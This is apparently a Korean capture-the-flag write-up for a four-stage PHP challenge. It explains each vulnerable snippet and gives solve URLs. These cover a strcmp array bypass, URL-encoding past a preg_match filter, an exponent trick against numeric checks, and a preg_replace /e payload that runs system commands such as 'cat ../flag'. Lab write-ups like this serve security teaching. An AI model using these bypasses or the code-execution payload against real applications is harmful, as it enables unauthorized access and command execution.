PHP-HARD★★★★★★
Very Hard Challenge
link
hint
Stage 1
<?php
$stage === 1 or die("nope");
if(isset($_GET['pass']) &&
!strcmp($_GET['pass'], $secret))
$stage = 2;
?>
strcmp
로 비교할 때, array
가 인자로 들어가면 0이 나오는것을 이용한다.
Stage 1 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass[]=test
Stage 2
<?php
$stage === 2 or die("nope");
if(isset($_GET['pass']) &&
!preg_match("/the/i", $_SERVER['QUERY_STRING']) &&
$_GET['pass'] === 'the password')
$stage = 3;
?>
$_SERVER['QUERY_STRING']
은 url decode가 안되어있다.
Stage 2 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass=th%65%20password
Stage 3
<?php
$stage === 3 or die("nope");
if(isset($_GET['pass']) &&
is_numeric($_GET['pass']) &&
strlen($_GET['pass']) < 4 &&
$_GET['pass'] > 999)
$stage = 4;
?>
4글자 미만으로 넣으면서 999보다 큰 숫자를 입력하라는 문제이다.
지수를 이용해주면 되는데 1e3
을 입력해 주게 되면 이것은 1 * 10^3
즉 1000
을 나타내게 된다.
Stage 3 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass=1e3
Stage 4
<?php
$stage === 4 or die("nope");
if(isset($_GET['pass1']) && isset($_GET['pass2']))
echo preg_replace($_GET['pass1'], $_GET['pass2'], '-');
?>
다른 문제에 비해서 preg_replace
만 있고 목표가 보이지 않는 문제입니다.
하지만 preg_replace
를 조사해보면
/e 변경자
를 사용해서 PHP코드를 실행 시킬 수 있다고 합니다.!
그렇다면 preg_replace("/-/e", "system('ls')", "-");
이렇게 보내주게 되면 ls
명령어가 실행 되겠네요!
\
Stage 4 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass1=/-/e&pass2=system(%27cat%20../flag%27)